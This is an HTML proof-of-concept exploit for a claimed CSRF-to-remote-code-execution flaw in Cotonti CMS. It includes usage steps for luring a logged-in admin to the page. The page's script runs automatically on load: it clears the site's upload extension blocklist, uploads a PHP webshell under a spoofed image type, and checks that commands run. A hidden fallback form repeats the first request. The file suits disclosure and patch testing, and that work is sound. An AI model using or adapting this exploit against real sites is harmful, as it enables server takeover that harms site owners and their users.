|
<!DOCTYPE html> |
|
<!-- |
|
======================================================== |
|
CVE-2026-58143 — Cotonti CMS CSRF → RCE Proof of Concept |
|
CVSS 3.1: 9.6 CRITICAL (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) |
|
======================================================== |
|
|
|
Researcher: Saidakbarxon Maxsudxonov |
|
Affected: Cotonti CMS <= 0.9.x |
|
Tested on: Cotonti CMS 0.9.x (2026-06-06) |
|
|
|
HOW TO USE: |
|
1. Set TARGET to the victim's Cotonti instance URL (no trailing slash) |
|
2. Host this file and send the URL to an authenticated Cotonti admin |
|
3. When admin loads this page, the attack chain executes automatically: |
|
- Step 1: CSRF clears the file extension blocklist (admin.config.php) |
|
- Step 2: CSRF uploads a PHP webshell (pfs.main.php upload handler) |
|
- Step 3: Webshell accessible at TARGET/datas/uploads/cotonticmd.php |
|
4. Access: http://TARGET/datas/uploads/cotonticmd.php?cmd=id |
|
|
|
ROOT CAUSE: |
|
system/admin/admin.config.php line 55 — missing cot_check_xg() |
|
modules/pfs/inc/pfs.main.php upload handler — missing cot_check_xg() |
|
Other admin actions (admin.structure.php, pfs delete) DO call cot_check_xg(). |
|
This inconsistency makes CSRF possible on these two endpoints. |
|
--> |
|
<html> |
|
<head> |
|
<title>Loading...</title> |
|
<style> |
|
body { font-family: sans-serif; color: #333; max-width: 600px; margin: 50px auto; } |
|
.status { padding: 8px; margin: 4px 0; border-left: 3px solid #999; } |
|
.ok { border-color: #2a2; color: #2a2; } |
|
.err { border-color: #c00; color: #c00; } |
|
.inf { border-color: #55a; color: #55a; } |
|
</style> |
|
</head> |
|
<body> |
|
<h2>CVE-2026-58143 PoC — Cotonti CMS CSRF → RCE</h2> |
|
<div id="log"></div> |
|
|
|
<script> |
|
// ============================================================ |
|
// CONFIGURATION — change TARGET to the victim Cotonti instance |
|
// ============================================================ |
|
const TARGET = 'http://TARGET'; // e.g. http://192.168.1.10 |
|
|
|
// ============================================================ |
|
|
|
function log(msg, cls = 'inf') { |
|
const d = document.getElementById('log'); |
|
d.innerHTML += `<div class="status ${cls}">[${new Date().toISOString().substr(11,8)}] ${msg}</div>`; |
|
} |
|
|
|
async function exploit() { |
|
log('Starting CVE-2026-58143 CSRF chain...'); |
|
|
|
// ------------------------------------------------------- |
|
// Step 1: CSRF to admin.config.php |
|
// Clears extensions_disallowed so PHP uploads are allowed. |
|
// Vulnerable because admin.config.php update action does |
|
// NOT call cot_check_xg(), unlike admin.structure.php. |
|
// ------------------------------------------------------- |
|
log('Step 1: Sending CSRF to admin.config.php (clearing extension blocklist)...'); |
|
|
|
const step1 = new URLSearchParams({ |
|
'e': 'admin', |
|
'm': 'config', |
|
'a': 'update', |
|
'cfg[extensions_disallowed]': '', |
|
'cfg[extensions_allowed]': 'php,php5,phtml,txt,jpg,gif,png' |
|
}); |
|
|
|
try { |
|
await fetch(`${TARGET}/index.php`, { |
|
method: 'POST', |
|
credentials: 'include', |
|
mode: 'no-cors', |
|
body: step1 |
|
}); |
|
log('Step 1 sent (extension blocklist cleared)', 'ok'); |
|
} catch (e) { |
|
log('Step 1 fetch error: ' + e, 'err'); |
|
} |
|
|
|
// Small delay to ensure config is saved before upload |
|
await new Promise(r => setTimeout(r, 800)); |
|
|
|
// ------------------------------------------------------- |
|
// Step 2: CSRF to pfs.main.php upload handler |
|
// Uploads a PHP webshell. No cot_check_xg() on upload action. |
|
// (Compare: delete action at line 271 DOES have cot_check_xg()) |
|
// ------------------------------------------------------- |
|
log('Step 2: Uploading PHP webshell via CSRF (pfs.main.php)...'); |
|
|
|
const shell = new File( |
|
['<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'], |
|
'cotonticmd.php', |
|
{ type: 'image/jpeg' } // spoof MIME type to bypass client-side checks |
|
); |
|
|
|
const fd = new FormData(); |
|
fd.append('e', 'pfs'); |
|
fd.append('a', 'upload'); |
|
fd.append('pff_dir', '0'); // root PFS directory |
|
fd.append('pff_title', 'image'); |
|
fd.append('pff_file', shell, 'cotonticmd.php'); |
|
|
|
try { |
|
await fetch(`${TARGET}/index.php`, { |
|
method: 'POST', |
|
credentials: 'include', |
|
mode: 'no-cors', |
|
body: fd |
|
}); |
|
log('Step 2 sent (webshell uploaded)', 'ok'); |
|
} catch (e) { |
|
log('Step 2 fetch error: ' + e, 'err'); |
|
} |
|
|
|
// ------------------------------------------------------- |
|
// Step 3: Verify |
|
// ------------------------------------------------------- |
|
await new Promise(r => setTimeout(r, 1000)); |
|
log('Step 3: Verifying RCE...'); |
|
|
|
try { |
|
const r = await fetch(`${TARGET}/datas/uploads/cotonticmd.php?cmd=id`, { |
|
credentials: 'include' |
|
}); |
|
const txt = await r.text(); |
|
if (txt.includes('uid=')) { |
|
log('RCE CONFIRMED: ' + txt.trim(), 'ok'); |
|
} else { |
|
log('Webshell responded (check manually): ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf'); |
|
} |
|
} catch (e) { |
|
// CORS blocks the read but upload may still have worked |
|
log('Step 3 CORS blocked (expected). Check manually: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf'); |
|
} |
|
|
|
log('Attack complete. If successful, access: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'ok'); |
|
} |
|
|
|
window.addEventListener('load', exploit); |
|
</script> |
|
|
|
<!-- Fallback hidden form for Step 1 (pure HTML, no JS needed for basic CSRF) --> |
|
<form id="fb" method="POST" action="http://TARGET/index.php" style="display:none"> |
|
<input name="e" value="admin"> |
|
<input name="m" value="config"> |
|
<input name="a" value="update"> |
|
<input name="cfg[extensions_disallowed]" value=""> |
|
<input name="cfg[extensions_allowed]" value="php,php5,phtml,txt,jpg"> |
|
</form> |
|
|
|
<noscript> |
|
<p>JavaScript required for full chain. For Step 1 only (config clear):</p> |
|
<script>document.getElementById('fb').style.display='block'</script> |
|
</noscript> |
|
|
|
</body> |
|
</html> |